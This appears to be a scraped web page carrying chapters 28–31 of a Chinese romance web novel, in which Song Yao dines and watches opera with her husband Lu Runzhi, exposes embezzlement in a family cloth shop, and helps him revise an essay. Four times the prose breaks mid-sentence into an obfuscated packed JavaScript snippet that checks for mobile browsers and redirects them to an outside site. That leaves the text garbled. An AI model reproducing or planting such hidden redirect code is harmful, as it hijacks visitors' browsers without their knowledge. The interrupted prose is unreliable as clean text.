RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419527|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么了这是,你娘又说你了?” 杨怀书强颜欢笑,“我没事。”接着目光落在陆润之身上,不死心地问道:“宋姐姐……这是你夫郎吗?” “正是,他叫陆润之,你可以叫他陆哥哥。”宋瑶大方地介绍,“子澈,这是怀书。” 陆润之冲他微微颔首。 那句陆哥哥怎么都叫不出来,杨怀书扯了扯嘴角,抱着托盘走了。 宋瑶瞧着他的背影,摇摇头,“这孩子今天怎么了,往日挺活泼的,兴许被杨姨骂的有些狠了。” 陆润之瞧着她这幅模样,觉得她在装傻,也没挑明,拿起筷子,吃了个馄饨,果真不负宋瑶的强力推荐,味道鲜美。 宋瑶期待地看着他,“怎样?” 陆润之矜持道:“尚可。” 宋瑶还看着他。 陆润之顿了下,改了口,“很好吃。” 宋瑶这才满意,大口吃起来。 杨怀书躲在门后,看着宋瑶和陆润之之间亲昵的相处,红了眼,今天他算见识到了什么叫做云泥之别,他娘给他取名叫怀书,是希望日后他可以识几个字,而宋姐姐的夫郎有个雅致的名字,还有小字,一听就是大家公子。以前他觉得自己算是这条街上最好看的男子,骄傲得不行,今天看到陆润之,才明白书中描写的仙人是什么模样。 杨怀书看了一眼自己粗糙的双手,眼中被失落覆盖,样貌、家室,他样样都比不过人家,恐怕连给人家做小侍都不配。 吃过午饭,两人一起散了会儿步,找了家茶馆,吃茶听戏。 陆润之听着台上浓妆艳抹的男子咿咿呀呀唱着书中曾看过的戏文,手边的盘子里时不时有宋瑶剥的坚果,他不自觉靠在椅子上,姿态放松。 一曲听罢,台下响起热烈的掌声,小二挨个儿过来收打赏。 陆润之放了一锭银子,小二姐看到这一大银子,眼睛都直了,立刻感恩戴德,又将盘子递到宋瑶面前,想再讨要一份。 宋瑶挥挥手,“他给过了,我俩一家的。” 小二姐目光微闪,保持着良好的职业道德,“好嘞,谢谢二位赏脸!”走之前暗暗打量了宋瑶,心道:这女子生得一副好皮囊,却让那位公子掏钱,该不会是那位公子养的吧。 陆润之看向宋瑶,语气带着调侃,“那小二恐怕误会了。” 宋瑶扔了颗花生米进嘴里,耸肩,无所谓道:“误会就误会了呗。” 陆润之又道:“我以为你会再给她一份。” 宋瑶却道:“我听不懂这戏文,不给。” 陆润之:“听不懂为何要来?” 宋瑶无比坦诚,“你不是喜欢,我瞧你书房里有这本戏文,想来你也没听过,就带你来听听。” 陆润之笑,“那真是难为你陪我坐在这儿了。” 宋瑶摆手,“不难为,我可以看他们长得好看。”又忙补了一句,“虽然也没你好看。” 陆润之弯起嘴角,视线重新回到戏台上,说了句,“嘴贫。” 29. 第二十九章 第二十九章 听完两场戏,天色已接近傍晚,白日的温暖渐渐被寒冷取代,宋瑶与陆润之一同回去。 本打算在外面吃了晚饭再回,但瞧着陆润之有些疲惫的模样,还是作罢。 黄昏正好,宋瑶牵着陆润之一起慢慢往回走,街道上的摊贩们也都陆陆续续收摊,结束一天的劳作,准备回家。 自打来了这个世界,宋瑶也是头一次感受这宁静的傍晚,人们说话的声音并不吵闹,偶有马车轧在路面上疾驰而过,却不像现代走在街上,耳边被各种杂乱的声音充斥,只觉得吵闹,如今只觉得平和,她忽然想起一句诗。 从前车马很慢,书信很慢,一生只够爱一个人。 她向来不是什么附庸风雅之人,此时此刻却觉得这句诗很贴合场景。 宋瑶忽然松开了陆润之的手。 陆润之偏头看她。 宋瑶伸了个大大的懒腰,舒服地眯起眼睛,双手叠在一起,托在后脑勺,步伐慵懒。 陆润之看了她半响,见她不说话,也收回了视线。 两个人并排走着,不说话,也没有尴尬,反而觉得惬意。 快到家门口时,暮色已暗,陆润之停下了脚步。 宋瑶嘴角噙着淡淡的笑,“怎么了?” 陆润之看着她的脸庞,非常平静地问出了一个问题,但是熟悉他的人可以察觉出他微微紧张,“我那天说我可以养你,如果未来真的有这么一天,你会怎么想?” 宋瑶顿了一下,随即笑开,“求之不得。” 陆润之也笑了,发自内心的,但是后来真的到了这么一天,他才发现,宋瑶这么说只是为了照顾他的情绪,她向来不是那种令人难堪的性子。 那时,求之不得的人,变成了他。 晚饭,两人在家吃的,青连明显感觉到,出去了一趟,公子和宋瑶之间的那种微妙的氛围都变了,具体他形容不出来,就好像他们两人之间有了小秘密,一个眼神就知道彼此在想什么。 今日逛了一天,陆润之早早地就睡下了。 宋瑶躺在床上,侧枕着胳膊,看着身边的人,嘴角不自觉弯起,忽地,脑袋灵光一闪,她想起今日在馄饨铺,他莫名说的一句话。 “空气有点酸。” 这是吃醋了吧。 宋瑶当然知道杨怀书对她有意思,她给不了任何回应,只能装傻充愣,想来刚进入馄饨铺时,他就已经发现了怀书的存在,后面那句话也是对她说的,她当时怎么说的,有人吃饺子蘸醋。 就显得她很呆。 宋瑶勾起嘴角,伸手推了推身边的人,就像是把熟睡的小猫摇醒。 陆润之皱起眉头,没有睁开眼睛。 宋瑶贱兮兮地又推了他一下。 陆润之睁开眼睛,秀眉蹙起,不满地看向宋瑶,满眼写着:你最好有事。 宋瑶嘴角的笑意扩大,凑近,抓起他散落在枕头边的头发,笑意盈盈地问:“你今天开心吗?” “……” 宋瑶眨了眨眼睛。 陆润之缓缓吸了一口气,抬起胳膊,覆在眼睛上,“你叫醒我,就是为了问我这个?” 他的语气非常平静。 宋瑶轻轻扯了一下他的头发,“你快回答我。” 陆润之抬起胳膊,坐起来,又黑又长的头发滑落在单薄的后背,像丝滑的锦缎,他抽走被宋瑶握住的发丝,垂眸看他,乌黑的瞳仁一片漆黑,他垂眸看着宋瑶,“如果我不回答你,会怎么样?” 宋瑶:“我会睡不着。” 陆润之垂眸看了她半响,冷笑一声,“呵。” …… 最后,宋瑶被扫地出门。 宋瑶站在外面,面前房门紧闭,寒风凛冽,觉得夫郎生气的模样也很可爱。 - 度过愉快的休息日,宋瑶又化身牛马,摸黑起床,跟着宋琼一起出门赚钱,没办法,谁叫她家大业大,还有一个貌美的夫郎要养呢。 宋琼一看到这女子容光焕发的模样,与往日叫她早起时那副半死不活的模样截然不同,立刻牙酸,“嘴角压压吧,可别裂开了。” 宋瑶懒散地靠在马车上,“你管我。” 宋琼哼哼两声,“我要是管得了你,就不会叫你娶他。” 宋瑶:“所以我没听你的。” “你这个不孝女,早晚被你气死。”宋琼作势打了她一下,随即从过来人的角度,给予她建议,“我瞧着你那夫郎是个有主意的,你若是真的喜欢他,就别给他太多自由,他与你父亲不同,总让我觉得像是一阵抓不住的风,我听说你让他随意出门,还给他打造了专门书房。” 她们老宋家的女子,有个缺点,就是长情。 宋琼能将生意做这么大,光凭直觉,就帮她度过了几次难关,是有些玄学在身上。 宋瑶摇摇头,反问:“你肯拘着父亲吗?” 宋琼沉默了,叹了一口气,知道自己的女儿也是个倔驴,既如此,子女的命运就靠她的命了吧,再怎么着,还有家里给她兜底,于是转移了话题,“今日你去东边一家小铺子,那家铺子今年为止,一直处于亏损状态,你去看看怎么回事,我瞧着你在生意上挺有天赋的,那家铺子就先给你练手,你有什么问题,晚上回去与我商量。” 于是,宋瑶就被自家老母亲扔到了城东一家铺子门口,而她老母亲坐着马车扬长而去,也太过放心了。 老宋口中的小铺子并不小,从外面看,上下两层,装潢华丽,匾额上刻着“宋氏布庄”。 宋瑶到达布庄的时,店铺刚开门,一大早还没什么顾客,柜前的女子懒散地打着哈欠,看到宋瑶走进去,抬头看了一眼,也没招呼,低头自顾自的,不知道在做什么。 宋瑶过去,屈指扣了扣柜台,问道:“你们掌柜的呢?” 那女子这才看她,“掌柜的还没来。”这女子新来没多久,并不认识宋瑶这个少东家。 宋瑶上下打量了她,“你叫什么名字?” 那女子瞧宋瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15419528|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一副主人翁的架势,问道:“请问您是?” 宋瑶从腰间取下证明身份的令牌,那女子愣了一下,随即反应过来,立刻赔笑道:“原来是少东家,是小人有眼不识泰山,没能认出你来,小人名叫马萍,您唤我马娘就行。”她从柜台里走出来,“您先做,我给您倒杯茶,掌柜的马上就来。” 宋瑶顺势坐下。 马娘沏了茶过来,暗暗打量宋瑶,她曾听掌柜的说过,老东家膝下只有一女,名唤宋瑶,可惜是个不学无术的,只会享福作乐,读书做生意样样不行,是个流氓地痞,走了狗屎运,才娶了丞相家的公子。 如今一见,马娘却觉得这女子生了一副好皮囊,气质也很出众,完全不似掌柜的形容那般,倒像是京中贵女,举手投足之间自有一派风流之气,怕是思春男儿见了会脸红的对象。 马娘:“少东家,您请。” 宋瑶笑着道了声谢,“掌柜的一般什么时候来?” 这理掌柜的来还早着呢。马娘不能实话实说,还要靠着掌柜的吃饭,而且又觉得少东家脾气太好了点,没什么威慑力,恐怕镇不住掌柜的,“很快就到,不如您先在这儿等着,我去叫掌柜的,这会没什么客人,我去去就回。” 宋瑶:“不用了,你忙你的,我等着。” 马娘应了一声,觉得这少东家虽然在笑,可笑意不达眼底。 接下来,马娘打起十分的精神工作,她入职以来,从未如此精神工作过,只不过从她过来的时候起,这家铺子的生意都不怎么好,虽然有着宋氏布庄的名号,地段也还行,客人就是不多,她初来乍到,也曾在门前揽过客人,可人家都跟见了瘟神一样,久而久之,她也没动力干了,掌柜的更是见不到面。 马娘并不认为宋瑶一个年纪轻轻的小姑娘能解决这间铺子的问题,多半也是来做个样子,给老东家看的。 一个时辰后,陆陆续续有几名顾客来到铺子中,多半是妻主陪同的男子,或者是带着小侍的男子。 马娘热情地上前招呼,慢慢地,人竟然多了起来,她心道:这少东家是有点财运在身上的,往日可从未有过如此多的客人。 顿时,马娘有些忙不过来。 有胆大的男子,差小侍前去询问宋瑶,“我们公子想挑些好的布料,你能给看看吗?” 宋瑶笑着放下茶杯,走过去,“自然可以,这位公子喜欢什么样式的?” 马娘顿时明了,合着是少东家的脸起了作用。 早在第一天,宋瑶跟着母亲一起,她就已经摸清楚了自家经营的各式各样的布匹,此时娓娓道来,语调舒缓,眉眼含笑,一些小公子在她的目光下,脸色羞红,只庆幸戴了帷帽,未叫人看去。 大抵是这条街道上的宋氏布庄招了个好看的伙计传开了,店里的客人逐渐多了起来,一直到中午,宋瑶都没停下来过,经她介绍的客人,都买了布匹回去。 马娘对宋瑶倒是刮目相看,觉得她并不是传闻中的不学无术,至少忽悠小公子挺有一套的。 30. 第三十章 第三十章 正午那会儿,宋瑶才得空歇下来喝口水,一整个上午累的口干舌燥,不过好在有所收获。 客人少了下来,宋瑶作为老板,请马娘吃了饭。 马娘本以为这是场鸿门宴,谁知宋瑶真的只是单纯地请她吃顿饭,闲聊几句,并且无比大方,马娘不由得放松下来。 通过与宋瑶短短一上午的相处,至少马娘心里是认可了宋瑶,觉得这位少东家并不如传闻钟所说一无是处,虽长得好看,并不是花瓶,还是有几分本事在身上。 虎母无犬女,老东家如此厉害,少东家也不会只是只小猫。 下午的店铺不如上午热闹,宋瑶交给马娘打理,她差马娘打开账房,便叫马娘自己去忙。 马娘面露犹豫,似有话要说,却未曾说出。 宋瑶一眼就看穿她想说什么,只笑着吩咐,语气温和却不容置喙,“你先去忙,掌柜的来了,叫她过来这边找我。” 马娘虽然来的时间不长,但是也清楚,店铺的帐就是一笔糊涂账,掌柜的根本不管事,她怕宋瑶迁怒于她,看着宋瑶也挺好说话的,想开口求个情,但是宋瑶却没给她这个机会。 马娘离开后,一颗心七上八下的,她仔细回想了宋瑶那个眼神,分明是知道她想说什么,却不让她说,细细思索,这个少东家没有看起来那么人畜无害。 直至下午未时,掌柜才姗姗来迟。 掌柜的名唤郑姝,五短身材,胖胖的,走路步伐都是懒懒的,在这家店铺干了近十年,自诩为宋氏布庄元老级人物。 郑掌柜一进门就看到马娘笑着将一位顾客送走。 郑掌柜露出很稀奇的神色,每日上午客流量最多的时候,店里的人数都寥寥无几,下午更是几乎没人,这会儿怎么有人了。 马娘一看到郑掌柜的,立刻着急的迎上去,“掌柜的,你可算来了!” 郑掌柜的笑眯眯的,眼睛眯成了一条线,玩笑道:“怎么了,客人太多了,忙不过来?” 马娘着急道:“您还有心情开玩笑,少东家她来了!” “宋瑶?”郑掌柜气定神闲地挑眉,一点都不着急,“她来做什么?” 马娘看了一眼账房的方向,刻意压低了声音,“当然是来查账的,少东家此时正在账房呢,叫您来后去找她。” 马娘都快急死了,生怕少东家发火,把她也辞掉,虽然店里的生意不好,拿不到提成,但是光底薪就已经很丰厚,她可不想被辞掉。 然而郑掌柜听了这话,却嗤之以鼻,丝毫不将宋瑶放在眼里,她跟着宋琼这么多年,自然见过宋瑶,可以说是从小看着她长大的,用“草包”来形容她再合适不过,浑身上下,由里到外,也只有那张脸能看了,一个大女子长成了儿郎家的颜色,令人耻笑。 “来就来了,你怕她做什么?”郑掌柜一甩手,“随我去看看。” 马娘立刻拉住她,“老板,我瞧着少东家来者不善,您可小心点。” 郑掌柜的摆摆手,丝毫不放在心上。 马娘没有跟过去,总有一种不祥的预感。 账房内,长久未通风,一股发霉的味道在空气中久久不散,书桌上已经摞起高高的几摞账本,宋瑶已经把近三年的账本全部看完,并打了盆水。 郑掌柜进来的时候,正看到宋瑶洗完手,在用毛巾细细地擦拭双手,她进来时并未敲门。 宋瑶轻飘飘睨了郑掌柜一眼,将她由上到下打量了个遍,又淡淡地收回了视线。 郑掌柜被她这么轻飘飘一瞥,竟觉得宋瑶仿佛变了个人,那一眼她说不出来,仿佛洞穿一切,随后又淡定地收回视线,就连周身的气质都与以前不同,怎么说呢,就与她那夫郎身上散发着气息如出一辙,是一种贵气。 难道成亲给一个人带来的改变这么大? 郑掌柜敛了心神,笑起来,“瑶娘怎么来了,好久不见啊,成了亲的人就是不一样,周身气质都不一样了,真是让郑姨刮目相看!” 她自称郑姨,特地拉近与宋瑶的距离。 宋瑶倒是没有反驳,放好毛巾,也笑起来,“郑姨让我好等,从早上到现在,终于是见到了宋姨。” 看起来还是这幅任人搓扁揉捏的模样,郑掌柜放下心来,于是打了个哈哈,“瑶娘哪里的话,我这不是碰巧今天有事,路上耽搁了,所以比平日晚了些。” 宋瑶并未就此放过她,继续问道:“那郑姨平日几时来?今日上午,我瞧着店里的人挺多,马娘一个人都忙不过来,还琢磨着再雇几个人,郑姨觉得如何?” 郑掌柜心下一跳,心道:这小崽子莫不是在恐吓自己,转念一想,立刻又镇定下来,笑着打了个圆场,“平日里店铺里没这么多人,许是瑶娘光顾,带来了点财气,我与马娘二人就够了,瑶娘不必挂心。” 察觉到来者不善,郑掌柜的说话都悦耳了几分,宋瑶抓住了她话里的漏洞,“既然郑姨也知道平日里店铺人少,那到底是怎么回事?这里地段也不错,我们布庄名声在外,按理说不应如此。” 瞧着架势,倒像是认真的。 “瑶娘言之有理,两年前铺子里的生意还算可以,不知瑶娘来的时候有没有注意到街角的钱氏布庄,她们是我们的对家,故意将店铺开在我们前面,吸引客人,还故意模仿我们的样式,压低市价,抢走了大半客人,东家坚决不肯降低价格,导致我们的客人渐渐少了,才有如今这局面。” 郑掌柜一番话语说得情真意切,满腔愤懑,若是宋瑶未曾涉事,或许还信她几分。 从宋瑶早上步入店铺时起,便观察到店内灰尘零落,伙计懒散倦怠,掌柜的更是迟迟未出现,瞧马娘的反应,这姓郑的恐怕日日如此。上午到店内的顾客确实是冲着她的容貌而来,颜值可以当饭吃,这句话古今通用,除此之外,宋瑶在与他们交谈过程中发现,这家铺子掌柜的不管事,若是买回去的布匹出现问题,退换十分困难,久而久之,附近的人便不愿来这里来买布匹,退而求其次,选择隔壁的钱氏布庄。 郑掌柜的这幅做派像极了职场中尸位素餐,混日子拿钱的老员工,宋瑶做老板时对摸鱼向来是睁一只眼闭一只眼,只要把工作做完,任你怎么摸鱼都行,若是工作一塌糊涂,别怪她不念往日情分。 宋琼叫她来这里,恐怕也是估计郑掌柜是布庄老人,她们有几分早年的情谊,所以放任她在这里这些年,如今实在无法,才派她来这里。 这事儿处理起来也简单。 宋瑶走到账本前,面色平静,拿了去年的账本,看向郑掌柜的。 郑掌柜被她这淡淡的一眼瞥的有些心虚,心道莫不是她看出什么来了,不太可能,要是这不学无术的纨绔女能看懂这账本,她今日就把这账本吃了,郑掌柜故作镇定,“瑶娘,这账本是有什么问题吗?” 宋瑶不与她废话,直接翻到其中一页,指着上面的数据道:“正掌柜,去年三月的进项与出项明显对不上,少了十六两银子,这笔钱去了哪里?” 郑掌柜顿时脸色一变,这账本数目复杂,若是她来也要拿着算盘算上半天才算的出来,宋瑶只是看了几眼就准确地说出了缺少的银子,但是她打算不认账,强笑道:“瑶娘,你不会是看岔了吧,这账目众多,还是要仔细计算一番才是,况且只是十六两银子,大差不差。” 宋瑶挑眉,“我看岔了?” 郑掌柜:“是啊,你都没用算盘,要不还是我来重新——” “去年六月,进项与出项出入十两,七月,十二两……十月,十五两……”宋瑶打断她,翻账本,准确地说出每月缺少的银子,全都控制二十两以内,说多不多,说少不少,刚好卡在宋琼可以睁一只眼闭一只眼的界限,但是长此以往,积攒的数额也不小。 宋瑶合上账本,手指在账本上轻轻敲打,语气从始至终都很平静,“若是郑掌柜觉得我不会算账,我们请个账房先生去我母亲那里算算清楚也行。”视线落在那摞布匹采购的账本上,又回到郑掌柜身上,仿佛洞穿一切,“或许再带上那些,你再与我娘亲解释一番,缺少的银两与布匹都去了哪里。” 宋瑶站在账房的阴影处,神色晦暗不明,语调和缓,说出来的话却叫郑掌柜的顿时冒出一身冷汗,这分明是冬日。 这份工作对郑掌柜来说至关重要,她这么大年纪,再也找不到这样一份清闲又钱多的工作了,她顿时明白过来,这是老东家对她不满,派少东家过来敲打她了,只是她一开始没当回事,却不曾料到短短几日,不学无术的宋瑶真的成长的如此迅速,颇有几分老东家年轻时的魄力。 “我……”郑掌柜的张了张嘴,想要解释,抬起眼对上宋瑶的视线,又羞愧地低下头,宋瑶的视线给她一种任何狡辩都毫无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15419529|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义的感觉。 宋瑶在椅子上坐下,目光落在郑掌柜身上,“我叫您一声郑姨,是因为您也算看着我从小长大的,多少有几分情义在,母亲叫我来打理这间铺子,多少也是觉得我能从您身上学到点什么。” 郑掌柜羞愧的低下头,瞬间改了口,“少东家抬举我了。”她虽年长,经验丰富,此时却觉得在宋瑶面前矮了几分。 “过去的事情既往不咎,我也不喜欢抓住不放。”宋瑶拍了拍账本,又重新笑了起来,“眼下最重要的事情是如何重新将这里的铺子盘起来。” 郑掌柜听她这么说,顿时大大松了一口气,还真以为宋瑶会拉着她到老东家面前对峙,到时候闹得很难看,她也没脸留下,此时对宋瑶更是多了几分感激,“多谢少东家,少东家说的是,只是如今顾客已经流向钱氏布庄,再将人吸引过来恐怕不是一件容易的事。” “无妨。”宋瑶摆手,“大家也都知道我们布匹的质量比他们要好,只是稍微贵了些,品牌效应摆在那里,做起来相对容易。” 郑掌柜:“不如我们先考虑降价促销,先把仓库的旧式布匹销售出去,再做打算。” 宋瑶摇摇头,“郑姨做了这么久生意,岂不知这其中的道理,若是我们现下清仓打折,让顾客尝到了甜头,日后他们便会只等着买打折的商品,我们的生意如何做得下去。” 郑掌柜恍然大悟,“少东家言之有理,那我们怎么办?” “既然不能降价,我们可以采取团购优惠措施,尽快把顾客拉回来。”宋瑶当机立断,“另外,关于退换货的问题也要解决掉,你去叫马娘过来,我们仨商量一下。” 郑掌柜应下,“我这就去。” 在宋瑶恩威并施下,郑掌柜已不敢再将她小瞧,后续宋瑶提出的解决方案更是令郑掌柜和马娘心服口服,这女子小小年纪,脑袋瓜子灵活的很,很有主意。 马娘是个粗人,具体的形容不上来,但是她就是觉得,少东家这样的,天生的就该当大老板,身上有一种令人折服的气质,令手下的人很安心。 宋瑶与二人商量完,已经傍晚,到了收工的时刻,早上来时,是她娘宋琼把她送来的,眼下要靠她两条腿奔回去了。 郑掌柜与马娘先行离去,宋瑶又理了下账本,直至太阳西沉,冷了下来,她才落了锁,打算离开,正腹诽她那不靠谱的娘亲,就听远处传来哒哒哒的马蹄声,正是宋琼的马车,在门口缓缓停下。 “少主,久等了,快上车!”马夫扯着缰绳,吆喝道。 宋瑶扬起嘴角,高声应了,身手灵活地跳上马车,就见她娘亲靠在马车上,舒舒服服地在吃炒栗子。 宋瑶摸出自己汤婆子,她惯是个怕冷的,这会儿冷了一天的手终于决定热乎了。 她娘亲向来瞧不上她这幅做派,一个大女子跟男儿家似的。 “今天怎么样?”宋琼随意地问道,看起来并不怎么担心。 宋瑶抢走了她剥好的栗仁,有点不爽,“就你唱白脸,叫我唱红脸,做那个坏人,有你这么对女儿的吗?” 宋琼理所当然,“我养你这么大,叫你为你娘牺牲一点点怎么了,你去唱红脸,难不成叫我去啊,我怎么好意思。” 宋瑶:“……” 宋琼拍了拍她的肩膀,“看你这个样子,应该是不成问题了,不错不错,不愧是我老宋家的女人哈哈哈。” 宋瑶拉开她的手,有些嫌弃她吃完零食没擦手。 宋琼故意又抹了一把。 宋瑶拉起了脸,“老宋,你又不幼稚。” 宋琼哈哈大笑,“你怎么跟你那话少的夫郎待久了,越来越古板了,还端起来了。” 宋瑶懒得理她。 宋琼自说自话,意有所指,“今日我见到了你华姨,她的孙女都会跑了,而我还在为你奔波,什么时候才能过上儿孙满堂的退休生活啊。” 宋瑶白了她一眼,“催我又没用,有本事你去催你女婿。” 宋琼:“我可不敢,我见到他总觉得跟他隔了一层什么。” 宋瑶:“那就闭嘴。” “没大没小!”宋琼拍了一下她的脑袋,“我可听说,你昨天被你夫郎赶出房门了,这么惨的。” 宋瑶:…… 不想说话,累了。 忽然觉得跟陆润之在一起真好,话少。 31. 第三十一章 第三十一章 回到家中,暮色沉沉。 宋琼留宋瑶在自己院中吃饭,顺便叫上她的夫郎。 宋瑶应了,准备回院子叫陆润之,宋琼叫住了她,“差下人去请不就行了,你何必跑一趟。” 宋瑶:“不行,我得自己去。” 说完便匆匆离去。 宋琼瞧着她略显急切的步伐,忍不住笑着摇摇头,年轻人啊。 小院的灯光昏黄,宋瑶踩在石子路上,心情飘飘的,像是踩在云端。书房的灯也亮着,光线透过窗户洒出来,映照着石子路。 快到房间时,宋瑶脚下一转,拐去了书房,敲了敲门。 屋内的人道:“马上就来了。” 宋瑶一挑眉,听他的声音便猜到,他许是将她当作青连了,估计是在书房呆了一天,还未曾吃晚饭。 宋瑶直接推门而进,果然看到陆润之伏案作文,脚下落了废纸也未曾察觉,再一瞧,他盯着笔下的文章,眉头轻蹙,像是对写出的东西不太满意,又想不到更好的修改方式,纠结得不行。 不知怎么,她见不得他这幅为难的模样。 宋瑶轻轻走进去,捡起桌角下落下的宣纸。 “青连,我说过了,待会儿再吃。”从宋瑶进来开始,他都未曾抬起头,这会儿还将她当作青连呢。 宋瑶折起宣纸,放在他手边。 陆润之闻到一股熟悉的清香,抬起头,宋瑶溢满笑意的双眸映入眼帘,思绪猛地从繁文中抽出,他握住笔的手顿住。 宋瑶笑着道:“傻掉了?” 陆润之这才放下毛笔,摇摇头,眼底是一片倦色,鲜少见的模样。 宋瑶可见不得他这样,按着他的肩膀,叫他坐在椅子上,语气不自觉染上了疼惜,“怎么了这是,让我瞧瞧。” 她一贯是懒得费心思去看这些繁体字,读起来晦涩难懂,却见不得他这幅烦恼的模样。 陆润之没说话,靠在椅背上,单手撑着额头,半合着眼,像是累极,也未曾阻止宋瑶去看他写的文章。 宋瑶仔细地阅读他写的内容,说实话,读起来脑壳疼,她曾在博物馆见过古时状元所做文章,文章逻辑严谨,论证有据,字体飘逸潇洒,而他所作文章与那些状元写的不相上下。 只是未曾真正涉足朝堂,一些想法稍显理想,若是日后加以打磨,必时将相之才。 只是这读起来也太费劲了些,她宁愿看一百本账本,也不愿读这些令人头疼的繁体字。 宋瑶眉头紧皱。 陆润之瞧着她的神色,好似有些骑虎难下,于是站起来,道:“本就是瞎写的,不值一看,也不必为此费心,我们吃饭去吧。” 一番话颇为照顾宋瑶的面子。 宋瑶觉得他是个长得好看又很体贴的夫郎,从未瞧不起人,真是妙人,眼中的笑意更深,放下宣纸,握住他的手,捏了捏,“子澈这双手,不仅长得好,还写的一手好文章。” 陆润之在她温柔的视线下,垂下了头,似是被夸得有些不好意思。 宋瑶指着文章中段的内容,“可是在为此处烦恼?” 陆润之眼中滑过错愕,宋瑶所指正是他烦恼了一下午的问题。 见他错愕的神色,宋瑶笑了笑, 指尖在纸上点了点,“子澈通篇所论皆站在庙堂的角度,论述严谨,辞藻华丽,子澈位庙堂之高,不知江湖之远,忘记了民为邦本,若子澈有时间与京中百姓聊一聊,或许有新的启发。” 位庙堂之高,不知江湖之远。 民为邦本。 陆润之定定地看着宋瑶,心跳忽然慢慢加速,一直堵塞的思路忽然打开,眼前的思路开阔,他未曾想到宋瑶不仅读懂了他写的文章,还能一阵见血,却委婉地指出他通篇文章从一开始立意就偏离实际。 除此之外。 陆润之深深地望进宋瑶的眼中,从始至终,她并未对他身为男子,却作出这种文章做出任何评价,仿佛这是一件稀疏平常的事情,甚至还为他解决困惑,明明他在做的事情,对男子来说,称得上是离经叛道了。 她给他一种感觉,仿佛可以包容他的一切。 陆润之滚了滚喉咙,低声,“为什么?” 宋瑶不明所以,“什么为什么?”接着伸手弹了下他的额头,“我也不太懂,瞎说的啊,你自己斟酌斟酌,别被我带跑偏了,毕竟你们这文章也太难了。” 陆润之摇摇头,“没有,你帮了我很大忙。”她能说出那样的点评,定然是读懂了文章,并且一言道出问题所在,她远远比他想的要聪慧很多。 “那就好,我就见不得你愁眉苦脸的模样。”宋瑶努了努桌上的宣纸,“这些先放放吧,也不急于这一时,日后好好修改便是了,天色已晚,先吃饭吧。” 本就是为这篇文章发愁,眼下得了解决办法,这篇文章还需细细打磨,多半是要重写,陆润之脑海中已经有新的思路,也不是一时半会儿可以写出来,况且他也已累极,不打算再继续,于是应了。 “你来找我还有什么事吗?”陆润之担心她只顾说自己的文章,还有别的事,于是提醒道。 宋瑶摊手,“没别的事,娘亲叫我们去他们那里吃饭。” 陆润之:“怎么不早点告诉我,叫母亲父亲等着。” 宋瑶拉住他,笑,“别着急,她们两个哪里会是饿着自己的性子,想来这会已经在吃了,我们自己吃好了。” 陆润之不赞同,“这怎么好?” 宋瑶:“没事的,我差人去与他们二老说声就好。” 他这才放下心来。 宋瑶把陆润之带出书房时,青连都吃了一惊,要知道以前未出嫁时,公子写起文章,废寝忘食,不眠不休,直至熬到写出满意的文章或者想出明确的思路才肯休息,没想到宋瑶竟然劝服了公子。 青连可不认为宋瑶能有什么好的主意给到公子,只觉得她是死缠烂打才把公子叫出来吃饭,毕竟她的脸皮不是一般的厚。 下人去到主院禀告宋瑶二人在自己院子吃饭时,果然如宋瑶所料,她母亲与父亲已经在吃饭了,丝毫没有让自己饿着,果真知母莫若女。 吃饭的时候,宋瑶与陆润之说起白天在店铺的事情。 陆润之听着,觉得她的做法没错,再听到宋瑶就此不追究郑掌柜的责任时,忍不住放下筷子,看向她,“郑掌柜此人懒散惯了,若是不稍加约束,恐怕日后依旧懒散倦怠。” 宋瑶眨了眨眼,“我自由办法,实行绩效考核制。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15419530|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随后她解释了什么叫绩效考核制。 陆润之听完赞道:“好办法。” 两人吃饭的时候,气氛如同普通妻夫一般,轻松自在,对一些家常琐事还有商有量。 青连瞧着公子眉眼间的放松,是从前在丞相府未曾出现的神色,偶尔被宋瑶逗得眼中滑过温暖的笑意,抿唇轻笑,身上染了一些烟火气,让人觉得更加真实,这个冬天的夜晚,公子终于不再是一个人与书海度过。 青连从前觉得公子嫁给宋瑶是下嫁,现下想来,若是公子按照原定的人生轨迹,嫁与太女,恐怕也不会像如今发自内心的放松愉悦。 或许,一切都是上天最好的安排,哪里也找不到像宋瑶这般纵容夫郎的女子了。 